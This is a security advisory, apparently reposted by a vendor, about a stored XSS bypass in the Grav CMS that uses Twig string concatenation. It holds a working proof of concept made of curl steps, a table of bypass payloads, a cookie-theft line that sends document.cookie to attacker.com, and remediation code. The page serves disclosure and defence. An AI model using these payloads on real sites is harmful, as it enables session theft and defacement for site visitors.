GHSA-2c4f-86xc-cr74
GHSA-2c4f-86xc-cr74 is a Cross-site Scripting (XSS) vulnerability in getgrav/grav. O3 Security confirms whether GHSA-2c4f-86xc-cr74 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Grav: XSS Blueprint Validation Bypass via Twig String Concatenation
Real-World Exposure
getgrav/gravReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.
Details
The two-stage attack exploits the separation between validation and rendering:
Stage 1 - what the XSS validator sees (raw page content):
{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>
The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.
Stage 2 - what Twig produces (after rendering):
<img src=1 onerror=alert(document.domain)>
The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.
Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:
allowed_tags:
- set # ← allows variable assignment
...
The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.
The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:
<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
Twig output: <script>alert(1)</script> #}
Also bypasses the invalid_protocols check:
<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}
Proof of Concept
Prerequisites
twig_content.process_enabled: trueset by adminapi.pages.writepermission (page creation)
Step 1 - Obtain JWT token (any user with page write access)
JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
-X POST -H "Content-Type: application/json" \
-d '{"username":"user","password":"pass"}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")
Step 2 - Create page with Twig XSS payload
curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
-H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
-d '{
"title": "xss-page",
"folder": "xss-page",
"route": "/xss-page",
"template": "default",
"header": {"title": "xss", "process": {"markdown": false}},
"content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
}'
Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.
Step 3 - Visit page → XSS fires
curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>
Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires.
<img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" />
<img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" />
From a low-level user
Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction.
<img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" />
But with payloads such as <a href="{{"java"~"script"}}:alert(1)">click</a> proves that the we can bypass the blueprint restrictions and upload malicious script to it <img width="1841" height="1009" alt="image" src="https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd" /> <img width="1524" height="390" alt="image" src="https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770" />
Alternative payloads (all bypass the validator)
| Payload | Twig Source | After Twig | Triggers |
|---|---|---|---|
| Event handler | <img src=1 {{"on"~"error"}}=alert(1)> | <img src=1 onerror=alert(1)> | Image load fails |
| Script tag | <s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}> | <script>alert(1)</script> | Immediately |
| Protocol bypass | <a href="{{"java"~"script"}}:alert(1)">click</a> | <a href="javascript:alert(1)">click</a> | On click |
| Iframe onload | <i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)> | <iframe onload=alert(1)> | Page load |
| Details toggle | <details open {{"on"~"toggle"}}=alert(1)> | <details open ontoggle=alert(1)> | Page load |
| Cookie theft | <img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)> | <img src=1 onerror=fetch(...)> | Image load fails |
Admin preview caveat
The Admin2 SPA renders page previews inside a sandboxed iframe:
<iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe>
allow-modals is not set - alert() is silenced in the admin preview. Use fetch(), document.write(), or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - alert() fires directly.
Impact
Once the Twig content master gate is enabled by an administrator, any user with page write access can inject stored XSS into page content that executes for all visitors. The attack:
- Bypasses all four XSS validator regexes (
on_events,invalid_protocols,dangerous_tags,html_inline_styles) - Bypasses the dangerous tag blocklist (reconstructs
<script>,<iframe>,<svg>, etc.) - Bypasses the invalid protocol blocklist (reconstructs
javascript:,data:) - Persists across page edits (stored in page content file)
- Executes for every visitor to the page
An attacker can steal session cookies, perform actions as the victim, or deface the site.
Remediation
Option A - Re-run the XSS validator on Twig output
After Twig::processPage() renders the content, run the XSS validator on the output before it is cached and served:
// In Twig::processPage(), after rendering
$rendered = $twig->render($name, $context);
$result = Security::detectXss($rendered);
if ($result !== null) {
// Log and sanitize or block
Security::logTwigSandboxViolation('xss_output', $result, '', $route);
return ''; // or return escaped version
}
Option B - Disallow ~ and {% set %} in sandboxed content (too restrictive)
Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).
Option C - Block dynamic attribute names in Twig output
Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.
Option D - Escape HTML in rendered Twig output
Wrap the rendered output with htmlspecialchars() unless explicitly marked safe. This is the Twig default behavior — the |raw filter in theme templates bypasses it. Consider removing |raw from default themes and requiring explicit |raw only for trusted content.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | getgrav/grav | ≥ 2.0.0&&< 2.0.1 | 2.0.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update getgrav/grav to 2.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2c4f-86xc-cr74 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2c4f-86xc-cr74 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2c4f-86xc-cr74. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2c4f-86xc-cr74 in your dependencies?
O3 detects GHSA-2c4f-86xc-cr74 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.